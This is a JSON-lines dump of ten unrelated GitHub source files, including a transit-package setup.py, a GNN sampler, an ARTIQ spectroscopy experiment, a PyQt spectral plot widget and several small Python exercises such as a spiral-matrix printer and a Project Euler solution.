{"seq_id":"3153601065","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"pymyastuce\",\n    version=\"0.0.3\",\n    author=\"Paul Rohja LESELLIER\",\n    author_email=\"rohja@rohja.com\",\n    description=\"A small package to fetch next bus/metro/tram at a station of the MyAstuce network in Rouen, France.\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/Rohja/pymyastuce\",\n    project_urls={\n        \"Bug Tracker\": \"https://github.com/Rohja/pymyastuce/issues\",\n    },\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n        \"Operating System :: OS Independent\",\n    ],\n    package_dir={\"\": \"src\"},\n    packages=setuptools.find_packages(where=\"src\"),\n    python_requires=\">=3.6\",\n)","repo_name":"Rohja/pymyastuce","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"13160640627","text":"import torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom  typing import List\n\nclass MyDataset(Dataset):\n    def __init__(self, data):\n        self.data = data\n\n    def __len__(self):\n        return len(self.data)\n\n    def __getitem__(self, idx):\n        sample = self.data[idx]\n        return sample\n\n\n# def normalize(adj):\n#     \"\"\"Normalization by D^{-1/2} (A+I) D^{-1/2}.\"\"\"\n#     rowsum = adj.sum(dim=1) + 1e-20\n#     d_inv_sqrt = torch.pow(rowsum, -0.5).flatten()\n#     d_inv_sqrt[d_inv_sqrt == float('inf')] = 0.\n#     d_mat_inv_sqrt = torch.diag(d_inv_sqrt).to(adj.dtype)\n#     adj = adj.mm(d_mat_inv_sqrt).t().mm(d_mat_inv_sqrt)\n#     return adj\n\n\n# def row_normalize(adj):\n#     \"\"\"Row-normalize sparse matrix\"\"\"\n#     rowsum = np.array(adj.sum(1)).flatten()\n#     d_inv = 1.0 / (np.maximum(1.0, rowsum))\n#     d_mat_inv = sp.diags(d_inv, 0)\n#     adj = d_mat_inv.dot(adj)\n#     return adj\n\n# def sparse_mx_to_torch_sparse_tensor(sparse_mx):\n#     \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n#     sparse_mx = sparse_mx.tocoo().astype(np.float32)\n#     if len(sparse_mx.row) == 0 and len(sparse_mx.col) == 0:\n#         indices = torch.LongTensor([[], []])\n#     else:\n#         indices = torch.from_numpy(\n#             np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n#     values = torch.from_numpy(sparse_mx.data)\n#     shape = torch.Size(sparse_mx.shape)\n#     return indices, values, shape\n\ndef row_normalize(tensor):\n    if tensor.layout is torch.sparse_coo:\n        tensor = tensor.coalesce()\n        row_sum = torch.sparse.sum(tensor, dim=1).to_dense() + 1e-20\n        normalized_tensor = torch.sparse.FloatTensor(tensor.indices(), tensor.values() / row_sum[tensor.indices()[0]], tensor.size())\n    else:\n        row_sum = tensor.sum(dim=1, keepdim=True) + 1e-20\n        normalized_tensor = tensor / row_sum\n    return normalized_tensor\n\ndef normalize(adj):\n    if adj.layout is torch.sparse_coo:\n        adj = adj.coalesce()\n        rowsum = torch.sparse.sum(adj, dim=1).to_dense() + 1e-20\n        d_inv_sqrt = torch.pow(rowsum, -0.5)\n        d_inv_sqrt[torch.isinf(d_inv_sqrt)] = 0.\n        adj_normalized = torch.sparse.FloatTensor(adj.indices(), adj.values() * d_inv_sqrt[adj.indices()[0]] * d_inv_sqrt[adj.indices()[1]],\n                                                adj.size())\n    else:\n        rowsum = adj.sum(dim=1) + 1e-20\n        d_inv_sqrt = torch.pow(rowsum, -0.5)\n        d_inv_sqrt[torch.isinf(d_inv_sqrt)] = 0.\n        d_mat_inv_sqrt = torch.diag(d_inv_sqrt)\n        adj = adj.to(d_mat_inv_sqrt.dtype)\n        adj_normalized = adj.matmul(d_mat_inv_sqrt).transpose(0, 1).matmul(d_mat_inv_sqrt)\n    return adj_normalized\n\n# 节点采样\ndef node_wise_sampling(A:torch.Tensor, previous_nodes:torch.Tensor, sample_num:int):\n    \"\"\"\n    A:torch.Tesor, 所有待选邻居节点（一个节点的所有邻居节点是包括它自己本身的）的邻接矩阵,\n    行列数一样,对角线上都是1,即自己和自己连接\n    previous_nodes: 上一层的节点在矩阵A中的index,而不是global id, 要求以在A中的ID从小到大的顺序排列\n    sample_num:每个节点采样的节点数\n\n    返回的adj用于前向传播中\n    sampled_nodes用于下一层采样,对应A中的index,不是global id\n    previous_index是previous_nodes在after_nodes中的索引,后面训练时要用,从第一层到最后一层组成一个list,传给Graphsage_first中的参数previous_indices\n    \"\"\"\n    U = A[previous_nodes,:]\n    sampled_nodes = []\n    for U_row in U:\n        indices = U_row.nonzero().flatten()\n        sampled_indices = indices[torch.randperm(indices.shape[0])[:sample_num]]\n        sampled_nodes.append(sampled_indices)\n    sampled_nodes = torch.unique(torch.cat(sampled_nodes))\n    sampled_nodes = torch.unique(torch.cat([torch.tensor(previous_nodes), sampled_nodes]), sorted=True)\n    adj = U[:, sampled_nodes]\n    adj = row_normalize(adj)\n\n    previous_index = torch.where(torch.isin(sampled_nodes, torch.tensor(previous_nodes)))[0]\n\n\n    return adj, sampled_nodes, previous_index\n\n# 层采样\ndef layer_wise_sampling(A:torch.Tensor,previous_nodes:torch.Tensor,sample_num:int):\n    '''\n        A:torch.Tesor, 所有待选邻居节点（一个节点的所有邻居节点是包括它自己本身的）的邻接矩阵,\n        行列数一样,对角线上都是1,即自己和自己连接\n        previous_nodes: 上一层的节点在矩阵A中的index,而不是global id, 要求以在A中的ID从小到大的顺序排列\n        sample_num:每层节点采样的最大值\n\n        adj:adj用于前向传播中\n        adj.dtype torch.float32\n        sampled_nodes(torch.Tensor): 用于下一层采样,对应A中的index,不是global id\n    '''\n    s_num = min(A.shape[0], sample_num)\n    sampled_nodes = torch.randperm(A.shape[0])[:s_num].sort().values\n    if A.layout is torch.sparse_coo:\n        adj = A.index_select(0, previous_nodes).index_select(1, sampled_nodes)\n    else:\n        adj = A[previous_nodes, :][:, sampled_nodes]\n    adj = row_normalize(adj)\n\n    # previous_index = torch.where(torch.isin(sampled_nodes, torch.tensor(previous_nodes)))[0]\n\n    return adj, sampled_nodes\n\n# 层重要性采样\ndef layer_importance_sampling(A:torch.Tensor, previous_nodes:torch.Tensor, sample_num:int):\n    '''\n    A:torch.Tesor, 所有待选邻居节点（一个节点的所有邻居节点是包括它自己本身的）的邻接矩阵,\n    行列数一样,对角线上都是1,即自己和自己连接\n    previous_nodes: 上一层的节点在矩阵A中的index,而不是global id, 要求以在A中的ID从小到大的顺序排列\n    sample_num:每层节点采样的最大值\n\n    adj:adj用于前向传播中\n    adj.dtype torch.float32\n    sampled_nodes(torch.Tensor): 用于下一层采样,对应A中的index,不是global id\n    '''\n    lap = normalize(A)\n    lap_sq = torch.mul(lap, lap)\n    if A.layout is torch.sparse_coo:\n        lap_sq = lap_sq.index_select(0, previous_nodes)\n        pi = torch.sparse.sum(lap_sq, dim=0).to_dense()\n        p = pi / torch.sum(pi)\n        s_num = min(A.shape[0], sample_num)\n        sampled_nodes = torch.multinomial(p, s_num, replacement=False)\n        sampled_nodes = torch.sort(sampled_nodes)[0]\n        adj = lap.index_select(0, previous_nodes).index_select(1, sampled_nodes)\n        adj = adj.coalesce()\n        adj = torch.sparse.FloatTensor(adj.indices(), adj.values() / p[sampled_nodes[adj.indices()[1]]], adj.size())\n    else:\n        pi = torch.sum(lap_sq[previous_nodes, :], dim=0)\n        p = pi / torch.sum(pi)\n        s_num = min(A.shape[0], sample_num)\n        sampled_nodes = torch.multinomial(p, s_num, replacement=False)\n        sampled_nodes = torch.sort(sampled_nodes)[0]\n        adj = lap[previous_nodes, :][:, sampled_nodes]\n        adj = torch.mul(adj, 1/p[sampled_nodes])\n    adj = row_normalize(adj)\n\n    return adj, sampled_nodes\n\nif __name__ == \"__main__\":\n    data = None\n    dataset = MyDataset(data)   #data是worker i上的训练集节点id\n\n    batch_size = 128\n    #生成批处理数据batch\n    dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True)","repo_name":"whr819987540/fs_gnn","sub_path":"helper/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":7129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32173773052","text":"import numpy as np\nfrom artiq.experiment import *\n\nfrom LAX_exp.extensions import *\nfrom LAX_exp.base import LAXExperiment\nfrom LAX_exp.system.subsequences import InitializeQubit, Ramsey, Readout, RescueIon\n\n\nclass RamseySpectroscopy(LAXExperiment, Experiment):\n    \"\"\"\n    Experiment: Ramsey Spectroscopy\n\n    Measures ion fluorescence after conducting a Ramsey Spectroscopy sequence.\n    \"\"\"\n    name = 'Ramsey Spectroscopy'\n\n\n    def build_experiment(self):\n        # core arguments\n        self.setattr_argument(\"repetitions\",                        NumberValue(default=5, ndecimals=0, step=1, min=1, max=10000))\n\n        # ramsey parameters\n        self.setattr_argument(\"freq_ramsey_mhz_list\",               Scannable(\n                                                                        default=CenterScan(104.335, 0.5, 0.001),\n                                                                        global_min=30, global_max=200, global_step=1,\n                                                                        unit=\"MHz\", scale=1, ndecimals=5\n                                                                    ))\n        # get devices\n        self.setattr_device('qubit')\n\n        # prepare sequences\n        self.initialize_subsequence =                               InitializeQubit(self)\n        self.readout_subsequence =                                  Readout(self)\n        self.ramsey_subsequence =                                   Ramsey(self)\n        self.rescue_subsequence =                                   RescueIon(self)\n\n    def prepare_experiment(self):\n        # convert ramsey detunings to ftw\n        self.freq_ramsey_ftw_list =                                 np.array([hz_to_ftw(freq_mhz * MHz)\n                                                                              for freq_mhz in list(self.freq_ramsey_mhz_list)])\n\n    @property\n    def results_shape(self):\n        return (self.repetitions * len(self.freq_ramsey_ftw_list),\n                2)\n\n\n    # MAIN SEQUENCE\n    @kernel(flags={\"fast-math\"})\n    def initialize_experiment(self):\n        self.core.break_realtime()\n\n        # record subsequences onto DMA\n        self.initialize_subsequence.record_dma()\n        self.ramsey_subsequence.record_dma()\n        self.readout_subsequence.record_dma()\n\n    @kernel(flags={\"fast-math\"})\n    def run_main(self):\n        self.core.reset()\n\n        for trial_num in range(self.repetitions):\n\n            # sweep ramsey detunings\n            for freq_ftw in self.freq_ramsey_ftw_list:\n\n                # set ramsey detuning\n                self.qubit.set_mu(freq_ftw, asf=self.qubit.ampl_qubit_asf)\n                self.core.break_realtime()\n\n                # initialize ion in S-1/2 state\n                self.initialize_subsequence.run_dma()\n\n                # do ramsey sequence\n                self.ramsey_subsequence.run_dma()\n\n                # do readout\n                self.readout_subsequence.run_dma()\n\n                # update dataset\n                with parallel:\n                    self.update_results(freq_ftw, self.readout_subsequence.fetch_count())\n                    self.core.break_realtime()\n\n            # rescue ion as needed\n            self.rescue_subsequence.run(trial_num)\n\n            # support graceful termination\n            with parallel:\n                self.check_termination()\n                self.core.break_realtime()\n","repo_name":"EGGS-Experiment/LAX_exp","sub_path":"experiments/diagnostics/RamseySpectroscopy.py","file_name":"RamseySpectroscopy.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4417809755","text":"import numpy as np\nfrom io import StringIO\n\ninput_string = '''\n25 2 50 1 500 127900\n39 3 10 1 1000 222100\n13 2 13 1 1000 143750\n82 5 20 2 120 268000\n130 6 10 2 600 460700\n115 6 10 1 550 407000\n'''\n\nnp.set_printoptions(precision=1)    # this just changes the output settings for easier reading\n \ndef fit_model(input_file):\n    # Please write your code inside this function\n    data= np.genfromtxt(input_file, skip_header=1)\n    # read the data in and fit it. the values below are placeholder values\n    c = np.asarray([])  # coefficients of the linear regression\n    x = np.asarray([])  # input data to the linear regression\n    y = np.asarray([])\n\n    i=len(data)-1\n    while i>=0:\n        last =data[i][-1]\n        y = np.insert(y,0,last,axis=0)\n        i-=1\n\n    x=data[:,:-1]\n    c=np.linalg.lstsq(x,y)[0]\n    print(c)\n    print(x @ c)\n\n# simulate reading a file\ninput_file = StringIO(input_string)\nfit_model(input_file)\n","repo_name":"piilolav/Building-AI---Uni-Helsinki","sub_path":"Exercises/Chapter 3 - Machine Learning/ex13-Predictions With More Data.py","file_name":"ex13-Predictions With More Data.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32418162182","text":"from matplotlib.figure import Figure\nfrom typing import List, Union, Dict, Callable, Tuple, Optional\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom PyQt5.QtWidgets import *\nfrom matplotlib.lines import Line2D\nfrom matplotlib.backend_bases import PickEvent, MouseEvent\nfrom hyperclass.util.config import tostr\nfrom PyQt5.QtCore import *\nfrom matplotlib.axes import Axes\nfrom collections import OrderedDict\nfrom hyperclass.data.events import dataEventHandler, DataType\nfrom hyperclass.gui.events import EventClient, EventMode\nfrom hyperclass.gui.labels import labelsManager\nimport xarray as xa\n\nclass Spectrum:\n    def __init__(self, band_values: List[float], color: List[float], cid: int ):\n        self.bands = band_values\n        self.color = color\n        self.cid = cid\n\n    def isTransient(self):\n        return self.cid == 0\n\nclass SpectralCanvas( FigureCanvas ):\n\n    def __init__(self, figure: Figure ):\n        FigureCanvas.__init__( self, figure )\n        self.figure = figure\n        self.figure.patch.set_facecolor('#e2e2e2')\n\nclass SpectralPlot(QObject,EventClient):\n    update_signal = pyqtSignal()\n\n    def __init__( self, active: bool = True, **kwargs ):\n        QObject.__init__(self)\n        self.figure: Optional[Figure] = None\n        self._active = active\n        self.overlay = kwargs.get('overlay', False )\n        self.axes: Optional[Axes] = None\n        self.lines: OrderedDict[ int, Line2D ] = OrderedDict()\n        self.current_line: Optional[Line2D] = None\n        self.current_pid = -1\n        self.current_cid = -1\n        self.norm = None\n\n        self.plotx: xa.DataArray = None\n        self.nploty: xa.DataArray = None\n        self.ploty: xa.DataArray = None\n\n        self.rplotx: xa.DataArray = None\n        self.rploty: xa.DataArray = None\n\n        self._use_reduced_data = False\n        self.marker: Line2D = None\n        self._gui = None\n        self._titles = None\n        self.parms = kwargs\n        self.update_signal.connect( self.update )\n\n    def useReducedData(self, useReducedData: bool ):\n        if self._use_reduced_data != useReducedData:\n            self._use_reduced_data = useReducedData\n            self.plot_spectrum()\n            self.update()\n\n    def toggleUseReducedData( self ):\n        self._use_reduced_data = not self._use_reduced_data\n        self.plot_spectrum()\n        self.update()\n\n    def activate( self, active: bool  ):\n        self._active = active\n        if self._active and (self.current_pid >= 0):\n            event = dict( event=\"pick\", type=\"graph\", pids=[self.current_pid], cid=0 )\n            self.submitEvent(event, EventMode.Gui)\n\n    def init( self ):\n        self.figure = Figure(constrained_layout=True)\n        self.axes = self.figure.add_subplot(111)\n        self.axes.title.set_fontsize(14)\n        self.activate_event_listening()\n\n    def configure(self, event: Dict ):\n        type = self.ploty.attrs.get('type')\n        self.axes.set_facecolor((0.0, 0.0, 0.0))\n        if type == 'spectra':\n            plot_metadata = dataEventHandler.getMetadata( event )\n            self._titles = {}\n            for index in range( plot_metadata[0].shape[0] ):\n                self._titles[index] = \"[\" + \",\".join( [ tostr(pm.values[index]) for pm in plot_metadata ] ) + \"]\"\n        else:\n            self.figure.patch.set_facecolor( (0.0, 0.0, 0.0) )\n            self.axes.axis('off')\n            self.axes.get_yaxis().set_visible(False)\n            self.figure.set_constrained_layout_pads( w_pad=0., h_pad=0. )\n\n    def gui(self, parent) :\n        if self._gui is None:\n            self.init( )\n            self._gui = SpectralCanvas( self.figure )\n            self._gui.setParent(parent)\n            self._gui.setSizePolicy( QSizePolicy.Expanding, QSizePolicy.Expanding)\n            self._gui.setContentsMargins( 0, 0, 0, 0 )\n            self._gui.updateGeometry()\n            self._gui.mpl_connect('button_press_event', self.mouseClick)\n\n        return self._gui\n\n    def mouseClick(self, event: MouseEvent):\n        if (self.axes is not None) and ( self.current_pid >= 0 ) and ( self.ploty is not None ) and self._active:\n            print(f\"SpectralPlot.mousePressEvent: [{event.x}, {event.y}] -> [{event.xdata}, {event.ydata}]\" )\n            title = f\" {event.xdata:.2f}: {event.ydata:.3f} \"\n            self.axes.set_title( title, {'fontsize': 10 }, 'right' )\n            self.update_marker( event.xdata )\n            self.update()\n\n    def normalize(self):\n        self.norm = self.ploty.attrs.get(\"norm\", None)\n        if self.norm == \"median\":\n            self.nploty =  self.ploty / self.ploty.median( axis = 1 )\n        elif self.norm == \"mean\":\n            self.nploty =  self.ploty / self.ploty.mean( axis=1 )\n        else:\n            self.nploty =  self.ploty\n\n    def processEvent(self, event: Dict ):\n        super().processEvent(event)\n        if dataEventHandler.isDataLoadEvent(event):\n            plot_data = dataEventHandler.getPointData( event, DataType.Plot )\n#           reduced_data = dataEventHandler.getPointData( event, DataType.Embedding )\n            if isinstance(plot_data, dict): self.plotx, self.ploty = plot_data[\"plotx\"], plot_data[\"ploty\"]\n            else:                           self.plotx, self.ploty = plot_data.band,     plot_data\n#            self.rplotx, self.rploty = reduced_data['model'], reduced_data\n            if self.ploty.size > 0:\n                self.normalize()\n                self.configure( event )\n        if event.get('event') == 'pick':\n            if (event.get('type') in [ 'vtkpoint', 'directory', 'reference', 'plot' ]) and self._active:\n                if  self.ploty is not None:\n                    pids = [ row.pid for row in event.get('rows',[]) ]\n                    pids = pids + event.get('pids',[])\n                    for pid in pids:\n                        if pid >= 0:\n                            self.current_pid = pid\n                            current_line = self.lines.get( self.current_pid, None )\n                            if (current_line is not None) and (current_line.cid > 0):\n                                self.current_cid = current_line.cid\n                            else:\n                                classification = event.get('classification',-1)\n                                self.current_cid = classification if (classification > 0) else labelsManager.selectedClass\n                            self.clear_transients()\n                            print( f\"SpectralPlot: pick event, pid = {self.current_pid}, cid = {self.current_cid}\")\n                            self.plot_spectrum()\n                            if self._titles is not None:\n                                self.axes.set_title( self._titles.get(self.current_pid,\"*SPECTRA*\" ), {'fontsize': 10 }, 'center' )\n                            self.update_marker()\n                            self.axes.set_title( \"\", {}, 'right' )\n                            self.update_signal.emit()\n                            break\n        elif event.get('event') == 'gui':\n            if event.get('type') =='reset':\n                self.clear()\n\n    def update_marker(self, new_xval = None ):\n        if self.marker is not None:\n            self.axes.lines.remove(self.marker)\n            self.marker = None\n        if new_xval is not None:\n            self.marker = self.axes.axvline( new_xval, color=\"yellow\", linewidth=1, alpha=0.75 )\n\n    def plot_spectrum(self):\n        if (self.current_pid >= 0) and (self.nploty is not None):\n            color = labelsManager.colors[self.current_cid]\n\n            # if self._use_reduced_data:\n            #     spectrum = self.rploty[self.current_pid].values\n            #     x = self.rplotx[ self.current_pid ].values if self.rplotx.ndim == 2 else self.rplotx.values\n            # else:\n            #     spectrum = self.nploty[self.current_pid].values\n            #     x = self.plotx[ self.current_pid ].values if self.plotx.ndim == 2 else self.plotx.values\n\n            spectrum = self.nploty[self.current_pid].values\n            x = self.plotx[self.current_pid].values if self.plotx.ndim == 2 else self.plotx.values\n            self.ymax, self.ymin = spectrum.max(), spectrum.min()\n            self.xmax, self.xmin = x.max(), x.min()\n            self.axes.set_ylim(self.ymin, self.ymax)\n            self.axes.set_xlim(self.xmin, self.xmax)\n            linewidth = 2 if self.overlay else 1\n            if len(color) == 4: color[3] = 1.0\n            if self.current_line is not None:\n                self.current_line.set_visible(False)\n            self.current_line, = self.axes.plot( x, spectrum, linewidth=linewidth, color=color )\n            print( f\"SPECTRA BOUNDS: [ {self.xmin:.2f}, {self.xmax:.2f} ] -> [ {self.ymin:.2f}, {self.ymax:.2f} ]\")\n            self.current_line.color = color\n#            self.current_line.mark( self.current_cid )\n            self.current_line.cid = self.current_cid\n            self.lines[ self.current_pid ] = self.current_line\n\n    def clear(self):\n        self.lines = OrderedDict()\n        self.current_line = None\n        self.axes.clear()\n\n    def clear_transients(self):\n        if (self.current_line is not None):\n            if (self.current_line.cid == 0) or not self.overlay:\n                index, line = self.lines.popitem()\n                line.remove()\n                self.current_line = None\n            else:\n                self.current_line.set_linewidth(1)\n\n    def remove_spectrum(self, index: int ):\n        line: Line2D = self.lines[ index ]\n        line.remove()\n        del self.lines[ index ]\n\n    def has_spectrum(self, index: int ):\n        return index in self.lines\n\n    @pyqtSlot()\n    def update(self):\n        if self._gui is not None:\n            self.figure.canvas.draw_idle()\n            self._gui.update()\n\n\n\nclass SpectralManager:\n\n    def __init__(self):\n        self.spectral_plots = []\n        self._gui = None\n\n    def gui(self, nSpectra: int, parent: QWidget ):\n        if self._gui is None:\n            self._gui = QTabWidget()\n            for iS in range(nSpectra):\n                spectral_plot = SpectralPlot(iS == 0)\n                self.spectral_plots.append(spectral_plot)\n                tabId = \"Spectra\" if iS == 0 else str(iS)\n                self._gui.addTab( spectral_plot.gui(parent), tabId )\n            self._gui.currentChanged.connect(self.activate_spectral_plot)\n            self._gui.setTabEnabled(0, True)\n        return self._gui\n\n    def activate_spectral_plot( self, index: int ):\n        for iS, plot in enumerate(self.spectral_plots):\n            plot.activate( iS == index )\n\n    def setSpectralUseReduced(self, useReducedData: bool ):\n        for spectral_plot in self.spectral_plots:\n            spectral_plot.useReducedData( useReducedData )\n\n    def toggleSpectralUseReduced(self ):\n        for spectral_plot in self.spectral_plots:\n            spectral_plot.toggleUseReducedData()\n\n    def addActions(self, menu: QMenu ):\n        menuButton = QAction( \"Toggle Spectral Reduced/Raw\", self._gui )\n        menuButton.setStatusTip( \"Toggle Spectral Use Reduced/Raw Data\"  )\n        menuButton.triggered.connect(self.toggleSpectralUseReduced)\n        menu.addAction( menuButton )\n\nspectralManager = SpectralManager()","repo_name":"nasa-nccs-cds/hyperclass","sub_path":"hyperclass/plot/spectra.py","file_name":"spectra.py","file_ext":"py","file_size_in_byte":11245,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"33544589066","text":"#Print given array in clockwise spiral\r\n\r\ndef spiralArray(endRow,endColumn,a) :\r\n    startRow = 0; startColumn = 0\r\n\r\n    while (startRow < endRow and startColumn < endColumn) :\r\n        \r\n        for i in range (startColumn, endColumn) : \r\n            print(a[startRow][i], end = \" \")\r\n            \r\n        startRow += 1\r\n\r\n        for i in range (startRow, endRow) :\r\n            print(a[i][endColumn - 1], end = \" \")\r\n\r\n        endColumn -= 1\r\n\r\n        if (startRow < endRow) : \r\n            for i in range(endColumn - 1, (startColumn - 1), -1) :\r\n                print(a[endRow - 1][i], end = \" \")\r\n\r\n        endRow -= 1\r\n\r\n        if (startColumn < endColumn) :\r\n            for i in range(endRow - 1, startRow - 1, -1) : \r\n                print(a[i][startColumn], end = \" \")\r\n\r\n        startColumn += 1\r\n\r\na = [[1, 2, 3, 4, 5, 6],\r\n     [7, 8, 9, 10, 11, 12],\r\n     [13, 14, 15, 16, 17, 18]]\r\n\r\nR = 3; C = 6\r\nspiralArray(R, C, a)\r\n    ","repo_name":"Masheenist/Sylvia-Python-Projects","sub_path":"Spiral Python.py","file_name":"Spiral Python.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20896442946","text":"#It will remove some common inflected words and will give them their root form\n\ndef morphology(x):\n\ti = 0\n\twhile i<len(x):\n\t\tif x[i]=='triangles':\n\t\t\tx[i]='triangle'\n\t\telif x[i]=='bigger':\t\n\t\t\tx[i]='big'\n\t\telif x[i]=='smaller':\t\n\t\t\tx[i]='small'\n\t\ti = i+1\n\treturn x\n\t\n\t\ndef morphology2(x):\n\ti = 0\n\twhile i<len(x):\n\t\tif x[i]=='triangles':\n\t\t\tx[i]='triangle'\n\t\telif x[i]=='big':\t\n\t\t\tx[i]='bigger'\n\t\telif x[i]=='small':\t\n\t\t\tx[i]='smaller'\n\t\ti = i+1\n\treturn x\n","repo_name":"PrashantJalan/NLP","sub_path":"English/Functions/morphology.py","file_name":"morphology.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"18299748435","text":"def nameScores(file):\r\n\tf = open(file, \"r\")\r\n\tic = f.readlines()\r\n\tf.close()\r\n\tnameList = sorted(ic[0].replace('\"','').split(\",\"))\r\n\tnameDict = {'A':1,'B':2,'C':3,'D':4,'E':5,'F':6,'G':7,'H':8,'I':9,'J':10,'K':11,'L':12,'M':13,'N':14,'O':15,'P':16,'Q':17,'R':18,'S':19,'T':20,'U':21,'V':22,'W':23,'X':24,'Y':25,'Z':26}\r\n\tscoreList = []\r\n\tposition = 1\r\n\t\r\n\tfor n in nameList:\r\n\t\tscore = 0\r\n\t\tfor c in n:\r\n\t\t\tscore += nameDict[c]*position\r\n\t\tscoreList.append(score)\r\n\t\tscore = 0\r\n\t\tposition += 1\r\n\tsum = 0\r\n\tfor i in scoreList:\r\n\t\tsum += i\r\n\treturn sum\r\ndef main():\r\n\tfile = \"p022_names.txt\"\r\n\tprint(nameScores(file))\r\n\t\r\nmain()","repo_name":"mikasiddiqui/Python","sub_path":"Euler/euler 22.py","file_name":"euler 22.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21340774459","text":"import pytest\n\nfrom cajitos_site import mail\nfrom tests.utils import captured_templates\n\n\ndef test_home(app):\n    with captured_templates(app) as templates:\n        rv = app.test_client().get('/')\n        assert rv.status_code == 200\n        assert len(templates) == 1\n        template, context = templates[0]\n        assert template.name == 'blog.html'\n        print(context)\n        assert len(context['blog']) == 5  # pagination\n        # assert {p.author.id for p in context['blog']} == {2}  # Author of the latest 5 blog\n\n\ndef test_base(app):\n    rv = app.test_client().get('/blog')\n    assert rv.status_code == 200\n\n    print(dir(rv))\n    print(rv.stream)\n\n\n@pytest.mark.skip\ndef test_service_email(user, app):\n    with mail.record_messages() as outbox:\n        mail.send_message(subject='testing',\n                          body='test',\n                          recipients=[user.email])\n\n        assert len(outbox) == 1\n        assert outbox[0].subject == \"testing\"\n","repo_name":"OlgaKuratkina/cajitos","sub_path":"tests/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1631157971","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\nimport numpy as np\nimport argparse\nimport sys\n\n\n# the path will be passed as an argument\nour_path = sys.argv[1]\n#save the training ser X into a matrix as required\nX = np.loadtxt(our_path)\n#get the number of varibles\nd = len(X[0])\nnumOfTrainingExamples = len(X)\n#save the last col of the traing set as vector Y - the right predict result\nY = X[:,- 1]\n#print(Y) for myself\n\n#i'll create two arrays for the regular literal and the negative literal and let's\n#set them all to value 1\n#remember that the all negative hypothesis looks like this: X1 ^ not(x1) ^ x2 ^ not(x2) .....\n#and this is the initial hypothesis, so in the first iteration of the algorithem , the prediction\n# y will always be wrong, because the hypothsis has 2 versions of every literal.\n#so in the first iteration the algorithem remove a single version of every xi/not(xi)\n\n#if regular_literals[i]=1 it means that current hypothesis contains literal xi\nregular_literals = np.ones(d-1) \n#if negative_literals[i]=1 it means that current hypothesis contains literal not(xi)\nnegative_literals = np.ones(d-1)\n\n#so because our initial hypothesis is all_negative_hypothesis both sets of literals set to 1\n\n################################################################################################################\n############Start implement the Consistency Algorithm for the task of online boolean conjunction prediction#####\n################################################################################################################\n\n#start go over the values of each traingng instance without the last col of the y right prediction\nfor example in range(numOfTrainingExamples):\n\tfor col in range(d-1):\n\t\t#first check if the prediction of current hypothesis with current example is 0or 1\n\t\tif(X[example][col] != negative_literals[col] and X[example][col] == regular_literals[col]):\n\t\t\tprediction = 1\n\t\telse: #It is enough that one literal to get a value of 0, \n\t\t\t  #so that the value of the boolean conjunction to be false,\n\t\t\t  #so in that case we can end the loop action\n\t\t\tprediction =0\n\t\t\tbreak\t\t\n\t#check the condition to enter the loop : given tag = 1 and predicted tag is 0\n\tif(Y[example] ==1 and prediction==0):\n\t\tfor literal in range(d-1):\n\t\t\t#if the value of current literal is 0 :\n\t\t\tif(X[example][literal] == 0):\n\t\t\t\t#remove the regular literal by set its value to -1\n\t\t\t\tregular_literals[literal]=-1\n\t\t\t#if the value of current literal is 0 :\n\t\t\telif(X[example][literal] == 1):\n\t\t\t\t#remove the negative literal by set its value to -1\n\t\t\t\tnegative_literals[literal]=-1\n#print(negative_literals) - for me\n\n#now we can write the final result to output.txt file\nfile = open('output.txt','w') #open file in writing mode\n#help varible to know if we need to add comma before or not\nneedComma=0\n#looping through the literal who left after the machine learning algorithem\nfor i in range(d-1):\n\tif(regular_literals[i] == 1):\t\t\n\t\tif(needComma==0):\n\t\t\tfile.write(\"x\"+str(i+1))\n\t\t\tneedComma=1\n\t\telse:\n\t\t\tfile.write(\",x\"+str(i+1))\n\n\telif(negative_literals[i]== 1):\n\t\t\n\t\tif(needComma==0):\n\t\t\tfile.write(\"not(x\"+str(i+1)+\")\")\n\t\t\tneedComma=1\n\t\telse:\n\t\t\tfile.write(\",not(x\"+str(i+1)+\")\")\n#close file\nfile.close()\n\n\n","repo_name":"CoralMalachi/propstron_algorithm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
